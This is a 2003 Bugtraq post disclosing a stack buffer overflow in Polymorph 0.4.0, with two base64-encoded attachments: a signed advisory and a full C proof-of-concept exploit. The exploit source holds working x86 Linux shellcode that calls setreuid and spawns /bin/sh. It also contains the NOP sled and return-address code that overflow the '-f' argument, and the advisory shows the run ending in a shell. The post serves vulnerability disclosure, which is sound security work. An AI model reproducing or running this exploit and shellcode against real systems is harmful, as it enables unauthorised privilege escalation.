[30216] in bugtraq
Bug found in: Polymorph 0.4.0
daemon@ATHENA.MIT.EDU (Ceq)
Thu May 22 18:56:49 2003
Message-Id: <200305222155.h4MLtQe01242@sycorax.exsilia.net>
Date: Thu, 22 May 2003 23:55:26 +0100
From: "Ceq" <ceq@c-code.net>
To: bugtraq@securityfocus.com
Reply-To: "Ceq" <ceq@c-code.net>
Content-Transfer-Encoding: 8bit
Content-Type: multipart/mixed; charset="iso-8859-1";
boundary="--=_b8b6e3bb8b2d1e9fb404a611415cb6140"
MIME-Version: 1.0
----=_b8b6e3bb8b2d1e9fb404a611415cb6140
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
----=_b8b6e3bb8b2d1e9fb404a611415cb6140
Content-Type: text/plain; name="c-code-adv001.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="c-code-adv001.txt"
LS0tLS1CRUdJTiBQR1AgU0lHTkVEIE1FU1NBR0UtLS0tLQpIYXNoOiBTSEExCgowMTEwMDAxMSAt
IGNvZGUgJ3NlY3VyaXR5IHJlc2VhcmNoIHRlYW0nCi0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQoKLSAtIGh0dHA6Ly93d3cuYy1jb2RlLm5ldAotIC0gQWR2aXNvcnkg
YW5kIFBvQyBleHBsb2l0IGJ5OiBkZW16IC8vIGRlbXpAYy1jb2RlLm5ldAotIC0gVnVsbmVyYWJs
ZSBzb3VyY2U6IFBvbHltb3JwaCB2MC40LjAKLSAtIEJ1ZyB0eXBlOiBTdGFja292ZXJmbG93Ci0g
LSBQcmlvcml0eTogMwoKLSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
CgpbMDFdIERlc2NyaXB0aW9uClswMl0gVnVsbmVyYWJsZQpbMDNdIFByb29mIG9mIGNvbmNlcHQK
WzA0XSBWZW5kb3IgcmVzcG9uc2UKClswMV0gRGVzY3JpcHRpb24KCiAgICAgUG9seW1vcnBoIGlz
IGEgZmlsZXN5c3RlbSAidW5peGllciIgKGEgV2luMzIgLT4gVW5peCBmaWxlbmFtZSBjb252ZXJ0
b3IpCiAgICAgV2hlbiBkb3dubG9hZGluZyBpbWFnZXMgZnJvbSBVc2VuZXQgYWxvdCBvZiBmaWxl
bmFtZXMgYXJlIG1hbmdsZWQgYnkgTVMgT3V0bG9vawogICAgIGFuZCBvdGhlciwgbGVzcyBjYXJp
bmcsIG5ld3NhZ2VudHMuCiAgICAgVGhlcmUgY291bGQgYmUgZmlsZXMgd2l0aCBzdHJhbmdlIG5h
bWVzIGxpa2UgQzpcXFBJWFxcSFVCQkxFXFxFYWdsZVwgTmVidWxhXCAwNTMyLkpQRwogICAgIGFu
ZCB0aGlzLCBvZiBjb3Vyc2UsIGlzIHVuYWNjZXB0YWJsZS4KICAgICBQb2x5bW9ycGggbG9va3Mg
aW4gdGhlIGN1cnJlbnQgd29ya2luZyBkaXJlY3RvcnkgYW5kIGZpbmRzIHN0cmFuZ2UgZmlsZW5h
bWVzIGxpa2UgdGhpcy4KICAgICBJdCB0aGVuIHJlbmFtZXMgdGhlIGZpbGUgYWZ0ZXIgY29udmVy
dGluZyBhbGwgdGhlIGNoYXJhY3RlcnMgdG8gbG93ZXJjYXNlIGFuZAogICAgIHRyaW1taW5nIHRo
ZSBjcnVmdCBmcm9tIHRoZSBvcmlnaW5hbC4KICAgICBUaGUgcHJldmlvdXMgZXhhbXBsZSB0dXJu
ZWQgb3V0IHRvIGhhdmUgdGhlIG5hbWUgZWFnbGVfbmVidWxhXzA1MzIuanBnIHdoaWNoIGlzCiAg
ICAgbXVjaCBtb3JlIHVzZWZ1bC4KCiAgICAgUG9seW1vcnBoIGNvbnRhaW5zIGFuIHVuY2hlY2tl
ZCBidWZmZXIgaW4gdGhlICItZiBmaWxlIiBvcHRpb24sCiAgICAgdGhpcyBjYW4gYmUgZXhwbG9p
dGVkIHZlcnkgc2ltcGxlLgoKWzAyXSBWdWxuZXJhYmxlCgogICAgIFZ1bG5lcmFibGUgYW5kIGV4
cGxvaXRhYmxlIHZlcnNpb24sIHRlc3RlZCBvbiBSZWRoYXQgOC4wOgogICAgCiAgICAgLSAgUG9s
eW1vcnBoIDAuNC4wCgogICAgIE1heWJlIGFsc28gcHJpb3IgdmVyc2lvbnMgYXJlIHZ1bG5lcmFi
bGUuCiAgICAgU291cmNlIGNhbiBiZSBmb3VuZCBhdDogaHR0cDovL2Nocm9tZWJvYi5jb20vcHJv
ai9wb2x5bW9ycGguaHRtbAoKWzAzXSBQcm9vZiBvZiBjb25jZXB0CgogICAgIFtkZW16QGxhYiBw
b2x5bW9ycGgtMC40LjBdJCAuL2MtcG9seW1vcnBoCgogICAgIFBvbHltb3JwaCAwLjQuMCBsb2Nh
bCBleHBsb2l0CiAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBk
ZW16IEAgYy1jb2RlLm5ldCAtLQogICAgIHBvbHltb3JwaCBoYWQgdHJvdWJsZSBjb252ZXJ0aW5n
CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgkDHAMdsxybBGzYAxwFBobi9zaGgv
L2JpieNQU4nhmbAKICAgICAgICAgICAgICDNgDHAsM2QkJCQkMElIHRvCgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIDHAMdsxybBmzYAxwHBobi9zaGgvL2JpieNwc4nhmbAKCiAg
ICAgICAgICAgICAgzYAxwLDNIJCQkJCQICAgICAgICAgICAgICAgICAg8PP/vy4uLgoKICAgICB0
aGUgZmlsZSBpcyBub3cgcG9zc2libHkgY29ycnVwdAogICAgIHNoLTIuMDViJAoKICAgICBBIHBy
b29mIG9mIGNvbmNlcHQgZXhwbG9pdCBjYW4gYmUgZm91bmQgYXQ6CiAgICAgaHR0cDovL3d3dy5j
LWNvZGUubmV0L1JlbGVhc2VzL0V4cGxvaXRzL2MtcG9seW1vcnBoLmMKClswNF0gVmVuZG9yIHJl
c3BvbnNlCgogICAgIFRoZSB2ZW5kb3IgaXMgaW5mb3JtZWQuCgotLS0tLUJFR0lOIFBHUCBTSUdO
QVRVUkUtLS0tLQpWZXJzaW9uOiBHbnVQRyB2MS4yLjEgKEdOVS9MaW51eCkKCmlEOERCUUUrelR6
WjhUb2lHcW53TXpBUkFwaEJBSjlMK01PWTVSNWFyT2ViMXNsVFhlTmdZQWd3c2dDY0Q4b2QKSXdB
VU4wenpsOFpoa2ZaTjVqdWROTlk9Cj1vYzA5Ci0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLQo=
----=_b8b6e3bb8b2d1e9fb404a611415cb6140
Content-Type: text/x-csrc; name="c-polymorph.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="c-polymorph.c"
LyogYy1wb2x5bW9ycGguYwogKgogKiBQb0MgZXhwbG9pdCBtYWRlIGZvciBhZHZpc29yeSBiYXNl
ZCB1cHBvbiBhbiBsb2NhbCBzdGFjayBiYXNlZCBvdmVyZmxvdy4KICogVnVsbmVyYWJsZSB2ZXJz
aW9ucywgbWF5YmUgYWxzbyBwcmlvciB2ZXJzaW9uczoKICoKICogUG9seW1vcnBoIHYwLjQuMAog
KgogKiBUZXN0ZWQgb246ICBSZWRoYXQgOC4wCiAqCiAqIEFkdmlzb3J5IHNvdXJjZTogYy1jb2Rl
Lm5ldCAoc2VjdXJpdHkgcmVzZWFyY2ggdGVhbSkKICogaHR0cDovL3d3dy5jLWNvZGUubmV0L1Jl
bGVhc2VzL0Fkdmlzb3JpZXMvYy1jb2RlLWFkdjAwMS50eHQKICoKICogLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAqIGNvZGVkIGJ5OiBkZW16IChjLWNvZGUu
bmV0KSAoZGVtekBjLWNvZGUubmV0KQogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0KICoKICovCgojaW5jbHVkZSA8c3RkaW8uaD4KCmNoYXIgc2hlbGxjb2Rl
W109CgoJIlx4MzFceGMwIiAgICAgICAgICAgICAgICAgICAgICAvLyB4b3IgICAgICAgICAgZWF4
LCBlYXgKICAgICAgICAiXHgzMVx4ZGIiICAgICAgICAgICAgICAgICAgICAgIC8vIHhvciAgICAg
ICAgICBlYngsIGVieAogICAgICAgICJceDMxXHhjOSIgICAgICAgICAgICAgICAgICAgICAgLy8g
eG9yICAgICAgICAgIGVjeCwgZWN4CiAgICAgICAgIlx4YjBceDQ2IiAgICAgICAgICAgICAgICAg
ICAgICAvLyBtb3YgICAgICAgICAgYWwsIDcwCiAgICAgICAgIlx4Y2RceDgwIiAgICAgICAgICAg
ICAgICAgICAgICAvLyBpbnQgICAgICAgICAgMHg4MAoKICAgICAgICAiXHgzMVx4YzAiICAgICAg
ICAgICAgICAgICAgICAgIC8vIHhvciAgICAgICAgICBlYXgsIGVheAogICAgICAgICJceDUwIiAg
ICAgICAgICAgICAgICAgICAgICAgICAgLy8gcHVzaCAgICAgICAgIGVheAogICAgICAgICJceDY4
XHg2ZVx4MmZceDczXHg2OCIgICAgICAgICAgLy8gcHVzaCAgbG9uZyAgIDB4Njg3MzJmNmUKICAg
ICAgICAiXHg2OFx4MmZceDJmXHg2Mlx4NjkiICAgICAgICAgIC8vIHB1c2ggIGxvbmcgICAweDY5
NjIyZjJmCiAgICAgICAgIlx4ODlceGUzIiAgICAgICAgICAgICAgICAgICAgICAvLyBtb3YgICAg
ICAgICAgZWJ4LCBlc3AKICAgICAgICAiXHg1MCIgICAgICAgICAgICAgICAgICAgICAgICAgIC8v
IHB1c2ggICAgICAgICBlYXgKICAgICAgICAiXHg1MyIgICAgICAgICAgICAgICAgICAgICAgICAg
IC8vIHB1c2ggICAgICAgICBlYngKICAgICAgICAiXHg4OVx4ZTEiICAgICAgICAgICAgICAgICAg
ICAgIC8vIG1vdiAgICAgICAgICBlY3gsIGVzcAogICAgICAgICJceDk5IiAgICAgICAgICAgICAg
ICAgICAgICAgICAgLy8gY2RxCiAgICAgICAgIlx4YjBceDBiIiAgICAgICAgICAgICAgICAgICAg
ICAvLyBtb3YgICAgICAgICAgYWwsIDExCiAgICAgICAgIlx4Y2RceDgwIiAgICAgICAgICAgICAg
ICAgICAgICAvLyBpbnQgICAgICAgICAgMHg4MAoKICAgICAgICAiXHgzMVx4YzAiICAgICAgICAg
ICAgICAgICAgICAgIC8vIHhvciAgICAgICAgICBlYXgsIGVheAogICAgICAgICJceGIwXHgwMSIg
ICAgICAgICAgICAgICAgICAgICAgLy8gbW92ICAgICAgICAgIGFsLCAxCiAgICAgICAgIlx4Y2Rc
eDgwIjsgICAgICAgICAgICAgICAgICAgICAvLyBpbnQgICAgICAgICAgMHg4MAoKaW50IG1haW4o
KQp7Cgl1bnNpZ25lZCBsb25nIHJldCA9IDB4YmZmZmYzZjA7CgoJY2hhciBidWZmZXJbMjA3Nl07
CglpbnQgaT0wOwoKCW1lbXNldChidWZmZXIsIDB4OTAsIHNpemVvZihidWZmZXIpKTsKCglmb3Ig
KDA7IGkgPCBzdHJsZW4oc2hlbGxjb2RlKSAtIDE7aSsrKQoJYnVmZmVyWzEwMDAgKyBpXSA9IHNo
ZWxsY29kZVtpXTsKCglidWZmZXJbMjA3Nl0gPSAocmV0ICYgMHgwMDAwMDBmZik7CglidWZmZXJb
MjA3N10gPSAocmV0ICYgMHgwMDAwZmYwMCkgPj4gODsKCWJ1ZmZlclsyMDc4XSA9IChyZXQgJiAw
eDAwZmYwMDAwKSA+PiAxNjsKCWJ1ZmZlclsyMDc5XSA9IChyZXQgJiAweGZmMDAwMDAwKSA+PiAy
NDsKCWJ1ZmZlclsyMDgwXSA9IDB4MDsKCglwcmludGYoIlxuUG9seW1vcnBoIHYwLjQuMCBsb2Nh
bCBleHBsb2l0XG4iKTsKICAgICAgICBwcmludGYoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0gZGVteiBAIGMtY29kZS5uZXQgLS1cbiIpOwoKCWV4ZWNsKCIuL3BvbHlt
b3JwaCIsICJwb2x5bW9ycGgiLCAiLWYiLCBidWZmZXIsIE5VTEwpOwp9Cgo=
----=_b8b6e3bb8b2d1e9fb404a611415cb6140--
